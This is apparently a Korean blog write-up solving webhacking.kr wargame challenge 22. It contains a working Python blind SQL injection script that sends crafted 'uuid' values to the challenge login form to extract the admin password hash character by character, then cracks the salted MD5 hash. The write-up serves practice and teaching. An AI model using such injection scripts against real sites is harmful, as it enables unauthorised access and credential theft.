728x90
반응형
500점인 22번 문제를 풀어보자.
admin 계정으로 로그인을 하라고 문제에서 힌트를 주고 있다.
join 페이지로 이동해서 admin 계정은 이미 존재하는 계정으로 나오고, 테스트를 위한 임의의 계정을 생성한다.
- 참인 경우
- 거짓인 경우
이제 참/거짓 반응을 이용해서 Blind SQL Injection을 시도하자.
Request는 POST 방식으로 보내게 된다.
import requests
url = "https://webhacking.kr/challenge/bonus-2/index.php"
cookies = {'PHPSESSID':'세션'}
pw_length = ""
pw = ""
# 패스워드 길이 구하기
for i in range(0,100):
data = {"uuid":"admin' and length(pw)={}#".format(i), "pw":"a"}
r = requests.post(url, cookies=cookies, data=data)
# print(r.text)
if r.text.find("Wrong password!") != -1:
pw_length = i
print(pw_length)
break
print("pw_length :", pw_length)
# 패스워드 값 구하기
for i in range(1,pw_length+1):
for j in range(33, 133):
data = {"uuid":"admin' and ascii(substr(pw,{},1))={}#".format(i,j), "pw":"a"}
r = requests.post(url, cookies=cookies, data=data)
if r.text.find("Wrong password!") != -1:
pw += chr(j)
print(i, "pw is ", pw)
break
print("pw is :", pw)
pw 길이 : 32
pw : 6c9ca386a903921d7fa230ffa0ffc153
해당 패스워드는 md5 해쉬값으로 확인했다.
https://www.md5online.org/md5-decrypt.html
해당 페이지에서 해쉬값을 입력하면 디코딩된 값을 볼 수 있다.
이제 admin/wowapple로 로그인 시도하면 문제가 풀리는 줄 알았지만, 로그인 fail 뜨게 된다.
찾아보니, salt 값으로 apple이 사용되는 걸로 추측된다.
다시 admin/wow로 로그인해보면 문제가 정상적으로 풀리는 것을 볼 수 있다.
728x90
반응형
'CTF & WarGame > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 24번 문제 (0) | 2020.03.09 |
---|---|
[webhacking.kr] 23번 문제 (0) | 2020.03.09 |
[webhacking.kr] 21번 문제 (1) | 2020.03.08 |
[webhacking.kr] 20번 문제 (0) | 2020.03.07 |
[webhacking.kr] 19번 문제 (0) | 2020.03.07 |